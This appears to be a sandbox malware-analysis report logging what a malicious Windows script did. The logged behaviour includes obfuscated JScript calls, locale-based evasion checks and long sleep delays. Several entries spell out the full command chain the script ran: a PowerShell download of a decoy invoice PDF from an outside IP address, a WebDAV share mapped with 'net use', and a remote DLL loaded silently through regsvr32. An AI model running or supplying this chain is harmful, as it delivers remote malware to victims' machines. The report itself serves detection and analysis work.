Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9505.js.csv");ITextStream.WriteLine(" entry:7863 f:gtyygooly");ITextStream.WriteLine(" exec:2 f:gtyygooly");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4306			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5092			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3152	Thread sleep count: 4306 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3152	Thread sleep count: 5092 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1416	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5900	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5052	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5728	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7492	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`^
Source: net.exe, 00000007.00000002.2203377662.00000246AFE0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3442913088.00000231F4641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3442948015.00000231F4654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3441468225.00000231EF02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
